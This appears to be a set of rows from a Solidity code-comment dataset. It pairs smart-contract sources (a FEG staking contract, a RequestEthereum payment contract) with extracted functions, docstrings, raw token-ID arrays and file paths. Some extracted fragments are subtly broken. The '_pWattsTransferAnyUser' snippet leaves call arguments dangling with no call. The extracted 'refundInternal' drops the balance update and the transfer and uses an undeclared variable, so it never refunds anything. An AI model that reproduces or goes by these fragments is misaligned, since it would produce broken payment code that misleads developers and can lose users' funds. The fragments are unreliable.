---------------------------------------------------------------------------- library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract WhitelistAdminRole is Owned { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () { _addWhitelistAdmin(msg.sender); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(msg.sender), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(msg.sender); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } contract FEGstake is Owned, ReentrancyGuard, WhitelistAdminRole { using SafeMath for uint256; address public FEG = 0x389999216860AB8E0175387A0c90E5c52522C945; address public fETH = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332; address public regrewardContract; uint256 public totalStakes = 0; bool public perform = true; //if true then distribution of rewards from the pool to stakers via the withdraw function is enabled uint256 public txFee = 20; // FEG has 2% TX fee, deduct this fee from total stake to not break math uint256 public txFee1 = 11; // fETH has 1% TX fee, 0.1% was also added this fee from total stake to not break math uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming uint public lock = 0; // no locktime struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) { stakeholders.push(_stakeholder); farmTime[msg.sender] = block.timestamp; } } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external nonReentrant { require(IERC20(FEG).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user for locking"); uint256 transferTxFee = (onePercent(tokens).mul(txFee)).div(10); uint256 tokensToStake = (tokens.sub(transferTxFee)); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokensToStake.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.add(tokensToStake); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external onlyWhitelistAdmin{ //can only be called by regrewardContract uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10); uint256 tokens_ = (tokens.sub(transferTxFee)); _addPayout(tokens_); } function ADDFUNDS1(uint256 tokens) external{ require(IERC20(fETH).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10); uint256 tokens_ = (tokens.sub(transferTxFee)); _addPayout(tokens_); } function DisributeTxFunds() external { // Distribute tx fees collected for conversion into rewards uint256 transferToAmount = (IERC20(FEG).balanceOf(address(this))).sub(totalStakes); require(IERC20(FEG).transfer(address(owner), transferToAmount), "Error in un-staking tokens"); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens_) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens_.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens_, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public nonReentrant{ if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(fETH).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external nonReentrant{ require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(FEG).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); if(perform==true) { regreward(regrewardContract).distributeAll(); } } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedFEG(address staker) public view returns(uint256 stakedFEG){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the FEG balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourFEGBalance(address user) external view returns(uint256 FEGBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(FEG).balanceOf(user); } function emergencySaveLostTokens(address _token) public onlyOwner { require(IERC20(_token).transfer(owner, IERC20(_token).balanceOf(address(this))), "Error in retrieving tokens"); owner.transfer(address(this).balance); } function changeregrewardContract(address _regrewardContract) external onlyOwner{ require(address(_regrewardContract) != address(0), "setting 0 to contract"); regrewardContract = _regrewardContract; } function changePerform(bool _bool) external onlyOwner{ perform = _bool; } }
------------------------------------------------------------------------ Get the pending rewards of the staker @param _staker the address of the staker ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; }
2,129,365
[ 1, 29461, 968, 326, 4634, 283, 6397, 434, 326, 384, 6388, 225, 389, 334, 6388, 326, 1758, 434, 326, 384, 6388, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4634, 17631, 1060, 12, 2867, 384, 6388, 13, 3238, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 334, 6388, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 5431, 358, 326, 3634, 1758, 8863, 203, 540, 203, 3639, 2254, 384, 581, 414, 11066, 273, 384, 581, 414, 63, 334, 6388, 8009, 2260, 31, 203, 3639, 2254, 5034, 3844, 273, 225, 14015, 4963, 7244, 350, 5839, 18, 1717, 12, 84, 2012, 87, 63, 334, 581, 414, 11066, 300, 404, 5717, 2934, 16411, 12, 334, 581, 414, 63, 334, 6388, 8009, 334, 9477, 5157, 13, 2934, 2892, 12, 24576, 1769, 203, 3639, 384, 581, 414, 63, 334, 6388, 8009, 2764, 25407, 1011, 14015, 4963, 7244, 350, 5839, 18, 1717, 12, 84, 2012, 87, 63, 334, 581, 414, 11066, 300, 404, 5717, 2934, 16411, 12, 334, 581, 414, 63, 334, 6388, 8009, 334, 9477, 5157, 3719, 738, 10612, 274, 203, 3639, 327, 3844, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0x38Eb53Bc0CB2E996230325e01FB147b47bd05d93/sources/contracts/UnergyLogicReserve.sol
Institutional Wallet
function _pWattsTransferAnyUser( Project memory _project, ERC20Abs _pWatt, uint256 _pWattsAmount, PurchaseTicket memory buyTicket ) internal returns (Project memory) { if ( unergyData.isInstitutionalAddress(buyTicket.receiver, _project.addr) ) { _project.pWattsSupply -= _pWattsAmount; ProjectsManager(unergyData.projectsManagerAddress()).updateProject( _project.addr, _project ); } uint256 stableAmount = MathUpgradeable.mulDiv( _pWattsAmount, buyTicket.pWattPrice, 10 ** _pWatt.decimals() ); address unergyBuyerAddress = unergyData.unergyBuyerAddress(); msg.sender, address(unergyBuyerAddress), stableAmount ); unergyData.setPresentProjectFundingValue(address(_pWatt), stableAmount); return _project; }
8,795,999
[ 1, 382, 14278, 287, 20126, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 84, 59, 270, 3428, 5912, 2961, 1299, 12, 203, 3639, 5420, 3778, 389, 4406, 16, 203, 3639, 4232, 39, 3462, 9382, 389, 84, 59, 4558, 16, 203, 3639, 2254, 5034, 389, 84, 59, 270, 3428, 6275, 16, 203, 3639, 26552, 13614, 3778, 30143, 13614, 203, 565, 262, 2713, 1135, 261, 4109, 3778, 13, 288, 203, 3639, 309, 261, 203, 5411, 640, 31920, 751, 18, 291, 382, 14278, 287, 1887, 12, 70, 9835, 13614, 18, 24454, 16, 389, 4406, 18, 4793, 13, 203, 3639, 262, 288, 203, 5411, 389, 4406, 18, 84, 59, 270, 3428, 3088, 1283, 3947, 389, 84, 59, 270, 3428, 6275, 31, 203, 5411, 30491, 1318, 12, 29640, 7797, 751, 18, 13582, 1318, 1887, 1435, 2934, 2725, 4109, 12, 203, 7734, 389, 4406, 18, 4793, 16, 203, 7734, 389, 4406, 203, 5411, 11272, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 14114, 6275, 273, 2361, 10784, 429, 18, 16411, 7244, 12, 203, 5411, 389, 84, 59, 270, 3428, 6275, 16, 203, 5411, 30143, 13614, 18, 84, 59, 4558, 5147, 16, 203, 5411, 1728, 2826, 389, 84, 59, 4558, 18, 31734, 1435, 203, 3639, 11272, 203, 203, 3639, 1758, 640, 31920, 38, 16213, 1887, 273, 640, 31920, 751, 18, 29640, 7797, 38, 16213, 1887, 5621, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1758, 12, 29640, 7797, 38, 16213, 1887, 3631, 203, 5411, 14114, 6275, 203, 3639, 11272, 203, 203, 3639, 640, 31920, 751, 18, 542, 6351, 4109, 42, 14351, 620, 12, 2867, 24899, 84, 59, 4558, 3631, 14114, 6275, 2 ]
pragma solidity ^0.4.23; import "./CurrencyContract.sol"; import "../core/RequestCore.sol"; import "../base/math/SafeMathUint8.sol"; import "../base/token/ERC20.sol"; import "../utils/Bytes.sol"; import "../utils/Signature.sol"; /** * @title RequestEthereum * @notice Currency contract managing the requests in Ethereum. * @dev The contract can be paused. In this case, people can withdraw funds. * @dev Requests can be created by the Payee with createRequestAsPayeeAction(), by the payer with createRequestAsPayerAction() or by the payer from a request signed offchain by the payee with broadcastSignedRequestAsPayer(). */ contract RequestEthereum is CurrencyContract { using SafeMath for uint256; using SafeMathInt for int256; using SafeMathUint8 for uint8; // payment addresses by requestId (optional). We separate the Identity of the payee/payer (in the core) and the wallet address in the currency contract mapping(bytes32 => address[256]) public payeesPaymentAddress; mapping(bytes32 => address) public payerRefundAddress; /** * @dev Constructor * @param _requestCoreAddress Request Core address * @param _requestBurnerAddress Request Burner contract address */ constructor (address _requestCoreAddress, address _requestBurnerAddress) CurrencyContract(_requestCoreAddress, _requestBurnerAddress) public { requestCore = RequestCore(_requestCoreAddress); } /** * @notice Function to broadcast and accept an offchain signed request (can be paid and additionals also). * * @dev _payer will be set msg.sender. * @dev if _payeesPaymentAddress.length > _requestData.payeesIdAddress.length, the extra addresses will be stored but never used. * @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable. * * @param _requestData nested bytes containing : creator, payer, payees, expectedAmounts, data * @param _payeesPaymentAddress array of payees address for payment (optional) * @param _payeeAmounts array of amount repartition for the payment * @param _additionals array to increase the ExpectedAmount for payees * @param _expirationDate timestamp after that the signed request cannot be broadcasted * @param _signature ECDSA signature in bytes * * @return Returns the id of the request */ function broadcastSignedRequestAsPayer( bytes _requestData, // gather data to avoid "stack too deep" address[] _payeesPaymentAddress, uint256[] _payeeAmounts, uint256[] _additionals, uint256 _expirationDate, bytes _signature) external payable whenNotPaused returns(bytes32) { // check expiration date // solium-disable-next-line security/no-block-members require(_expirationDate >= block.timestamp, "expiration should be after current time"); // check the signature require( Signature.checkRequestSignature( _requestData, _payeesPaymentAddress, _expirationDate, _signature ), "signature should be correct" ); // create accept and pay the request return createAcceptAndPayFromBytes( _requestData, _payeesPaymentAddress, _payeeAmounts, _additionals ); } /** * @notice Function PAYABLE to pay a request in ether. * * @dev the request will be automatically accepted if msg.sender==payer. * * @param _requestId id of the request * @param _payeeAmounts Amount to pay to payees (sum must be equal to msg.value) in wei * @param _additionalAmounts amount of additionals per payee in wei to declare */ function paymentAction( bytes32 _requestId, uint256[] _payeeAmounts, uint256[] _additionalAmounts) external whenNotPaused payable { require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be Canceled"); require(_additionalAmounts.length == 0 || msg.sender == requestCore.getPayer(_requestId), "additionals should be set by the payer"); // automatically accept request if request is created and msg.sender is payer if (requestCore.getState(_requestId)==RequestCore.State.Created && msg.sender == requestCore.getPayer(_requestId)) { requestCore.accept(_requestId); } additionalInternal(_requestId, _additionalAmounts); paymentInternal(_requestId, _payeeAmounts, msg.value); } /** * @notice Function PAYABLE to pay back in ether a request to the payer. * * @dev msg.sender must be one of the payees. * @dev the request must be created or accepted. * * @param _requestId id of the request */ function refundAction(bytes32 _requestId) external whenNotPaused payable { refundInternal(_requestId, msg.sender, msg.value); } /** * @notice Function to create a request as payee. * * @dev msg.sender will be the payee. * @dev if _payeesPaymentAddress.length > _payeesIdAddress.length, the extra addresses will be stored but never used. * @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable. * @dev Is public instead of external to avoid "Stack too deep" exception. * * @param _payeesIdAddress array of payees address (the index 0 will be the payee - must be msg.sender - the others are subPayees) * @param _payeesPaymentAddress array of payees address for payment (optional) * @param _expectedAmounts array of Expected amount to be received by each payees * @param _payer Entity expected to pay * @param _payerRefundAddress Address of refund for the payer (optional) * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createRequestAsPayeeAction( address[] _payeesIdAddress, address[] _payeesPaymentAddress, int256[] _expectedAmounts, address _payer, address _payerRefundAddress, string _data ) public payable whenNotPaused returns(bytes32 requestId) { require( msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0, "caller should be the payee" ); uint256 collectedFees; (requestId, collectedFees) = createCoreRequestInternal( _payer, _payeesIdAddress, _expectedAmounts, _data ); // set payment addresses for payees for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) { payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j]; } // set payment address for payer if (_payerRefundAddress != 0) { payerRefundAddress[requestId] = _payerRefundAddress; } // check if the value send match exactly the fees (no under or over payment allowed) require(collectedFees == msg.value, "fees should be the correct amout"); return requestId; } /** * @notice Function to create a request as payer. The request is payed if _payeeAmounts > 0. * * @dev msg.sender will be the payer. * @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable. * @dev payeesPaymentAddress is not offered as argument here to avoid scam. * @dev Is public instead of external to avoid "Stack too deep" exception. * * @param _payeesIdAddress array of payees address (the index 0 will be the payee the others are subPayees) * @param _expectedAmounts array of Expected amount to be received by each payees * @param _payerRefundAddress Address of refund for the payer (optional) * @param _payeeAmounts array of amount repartition for the payment * @param _additionals array to increase the ExpectedAmount for payees * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createRequestAsPayerAction( address[] _payeesIdAddress, int256[] _expectedAmounts, address _payerRefundAddress, uint256[] _payeeAmounts, uint256[] _additionals, string _data ) public payable whenNotPaused returns(bytes32 requestId) { require(msg.sender != _payeesIdAddress[0] && _payeesIdAddress[0] != 0, "caller should not be the main payee"); uint256 collectedFees; (requestId, collectedFees) = createCoreRequestInternal( msg.sender, _payeesIdAddress, _expectedAmounts, _data ); // set payment address for payer if (_payerRefundAddress != 0) { payerRefundAddress[requestId] = _payerRefundAddress; } // accept and pay the request with the value remaining after the fee collect acceptAndPay( requestId, _payeeAmounts, _additionals, msg.value.sub(collectedFees) ); return requestId; } /** * @notice Function to declare an additional. * * @dev msg.sender must be _payer. * @dev the request must be accepted or created. * * @param _requestId id of the request * @param _additionalAmounts amounts of additional in wei to declare (index 0 is for main payee) */ function additionalAction(bytes32 _requestId, uint256[] _additionalAmounts) public whenNotPaused onlyRequestPayer(_requestId) { require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled"); additionalInternal(_requestId, _additionalAmounts); } /** * @notice Transfers to owner any tokens send by mistake on this contracts. * @param token The address of the token to transfer. * @param amount The amount to be transfered. */ function emergencyERC20Drain(ERC20 token, uint amount ) public onlyOwner { token.transfer(owner, amount); } /** * @dev Internal function to accept, add additionals and pay a request as Payer. * * @param _requestId id of the request * @param _payeeAmounts Amount to pay to payees (sum must be equals to _amountPaid) * @param _additionals Will increase the ExpectedAmounts of payees * @param _amountPaid amount in msg.value minus the fees * */ function acceptAndPay( bytes32 _requestId, uint256[] _payeeAmounts, uint256[] _additionals, uint256 _amountPaid) internal { requestCore.accept(_requestId); additionalInternal(_requestId, _additionals); if (_amountPaid > 0) { paymentInternal(_requestId, _payeeAmounts, _amountPaid); } } /** * @dev Internal function to create, accept, add additionals and pay a request as Payer. * * @dev msg.sender must be _payer. * * @param _requestData nested bytes containing : creator, payer, payees|expectedAmounts, data. To reduce the number of local variable and work around "stack too deep". * @param _payeesPaymentAddress array of payees address for payment (optional) * @param _payeeAmounts array of amount repartition for the payment * @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals * * @return Returns the id of the request */ function createAcceptAndPayFromBytes( bytes _requestData, address[] _payeesPaymentAddress, uint256[] _payeeAmounts, uint256[] _additionals) internal returns(bytes32 requestId) { // extract main payee address mainPayee = Bytes.extractAddress(_requestData, 41); require(msg.sender != mainPayee && mainPayee != 0, "caller should not be the main payee"); // creator must be the main payee require(Bytes.extractAddress(_requestData, 0) == mainPayee, "creator should be the main payee"); // extract the number of payees uint8 payeesCount = uint8(_requestData[40]); int256 totalExpectedAmounts = 0; for (uint8 i = 0; i < payeesCount; i++) { // extract the expectedAmount for the payee[i] // NB: no need of SafeMath here because 0 < i < 256 (uint8) int256 expectedAmountTemp = int256(Bytes.extractBytes32(_requestData, 61 + 52 * uint256(i))); // compute the total expected amount of the request totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp); // all expected amount must be positive require(expectedAmountTemp > 0, "expected amount should be > 0"); } // collect the fees uint256 fees = collectEstimation(totalExpectedAmounts); collectForREQBurning(fees); // insert the msg.sender as the payer in the bytes Bytes.updateBytes20inBytes(_requestData, 20, bytes20(msg.sender)); // store request in the core, requestId = requestCore.createRequestFromBytes(_requestData); // set payment addresses for payees for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) { payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j]; } // accept and pay the request with the value remaining after the fee collect acceptAndPay( requestId, _payeeAmounts, _additionals, msg.value.sub(fees) ); return requestId; } /** * @dev Internal function to manage additional declaration. * * @param _requestId id of the request * @param _additionalAmounts amount of additional to declare */ function additionalInternal(bytes32 _requestId, uint256[] _additionalAmounts) internal { // we cannot have more additional amounts declared than actual payees but we can have fewer require( _additionalAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1), "number of amounts should be <= number of payees" ); for (uint8 i = 0; i < _additionalAmounts.length; i = i.add(1)) { if (_additionalAmounts[i] != 0) { // Store and declare the additional in the core requestCore.updateExpectedAmount(_requestId, i, _additionalAmounts[i].toInt256Safe()); } } } /** * @dev Internal function to manage payment declaration. * * @param _requestId id of the request * @param _payeeAmounts Amount to pay to payees (sum must be equals to msg.value) * @param _value amount paid */ function paymentInternal( bytes32 _requestId, uint256[] _payeeAmounts, uint256 _value) internal { // we cannot have more amounts declared than actual payees require(_payeeAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1), "number of amounts should be <= number of payees"); uint256 totalPayeeAmounts = 0; for (uint8 i = 0; i < _payeeAmounts.length; i = i.add(1)) { if (_payeeAmounts[i] != 0) { // compute the total amount declared totalPayeeAmounts = totalPayeeAmounts.add(_payeeAmounts[i]); // Store and declare the payment to the core requestCore.updateBalance(_requestId, i, _payeeAmounts[i].toInt256Safe()); // pay the payment address if given, the id address otherwise address addressToPay; if (payeesPaymentAddress[_requestId][i] == 0) { addressToPay = requestCore.getPayeeAddress(_requestId, i); } else { addressToPay = payeesPaymentAddress[_requestId][i]; } //payment done, the money was sent fundOrderInternal(addressToPay, _payeeAmounts[i]); } } // check if payment repartition match the value paid require(_value == totalPayeeAmounts, "payment value should equal the total"); } /** * @dev Internal function to manage refund declaration. * * @param _requestId id of the request * @param _fromAddress address from where the refund has been done * @param _amount amount of the refund in wei to declare */ function refundInternal( bytes32 _requestId, address _fromAddress, uint256 _amount) internal { require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled"); // Check if the _fromAddress is a payeesId // int16 to allow -1 value int16 payeeIndex = requestCore.getPayeeIndex(_requestId, _fromAddress); if (payeeIndex < 0) { uint8 payeesCount = requestCore.getSubPayeesCount(_requestId).add(1); // if not ID addresses maybe in the payee payments addresses for (uint8 i = 0; i < payeesCount && payeeIndex == -1; i = i.add(1)) { if (payeesPaymentAddress[_requestId][i] == _fromAddress) { // get the payeeIndex payeeIndex = int16(i); } } } // the address must be found somewhere require(payeeIndex >= 0, "fromAddress should be a payee"); // Casting to uin8 doesn"t lose bits because payeeIndex < 256. payeeIndex was declared int16 to allow -1 requestCore.updateBalance(_requestId, uint8(payeeIndex), -_amount.toInt256Safe()); // refund to the payment address if given, the id address otherwise address addressToPay = payerRefundAddress[_requestId]; if (addressToPay == 0) { addressToPay = requestCore.getPayer(_requestId); } // refund declared, the money is ready to be sent to the payer fundOrderInternal(addressToPay, _amount); } /** * @dev Internal function to manage fund mouvement. * @dev We had to chose between a withdrawal pattern, a transfer pattern or a transfer+withdrawal pattern and chose the transfer pattern. * @dev The withdrawal pattern would make UX difficult. The transfer+withdrawal pattern would make contracts interacting with the request protocol complex. * @dev N.B.: The transfer pattern will have to be clearly explained to users. It enables a payee to create unpayable requests. * * @param _recipient address where the wei has to be sent to * @param _amount amount in wei to send * */ function fundOrderInternal( address _recipient, uint256 _amount) internal { _recipient.transfer(_amount); } }
@param _fromAddress address from where the refund has been done @param _amount amount of the refund in wei to declare/ Check if the _fromAddress is a payeesId int16 to allow -1 value if not ID addresses maybe in the payee payments addresses get the payeeIndex
function refundInternal( bytes32 _requestId, address _fromAddress, uint256 _amount) internal { require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled"); int16 payeeIndex = requestCore.getPayeeIndex(_requestId, _fromAddress); if (payeeIndex < 0) { uint8 payeesCount = requestCore.getSubPayeesCount(_requestId).add(1); for (uint8 i = 0; i < payeesCount && payeeIndex == -1; i = i.add(1)) { if (payeesPaymentAddress[_requestId][i] == _fromAddress) { payeeIndex = int16(i); } } } if (addressToPay == 0) { addressToPay = requestCore.getPayer(_requestId); } }
1,052,190
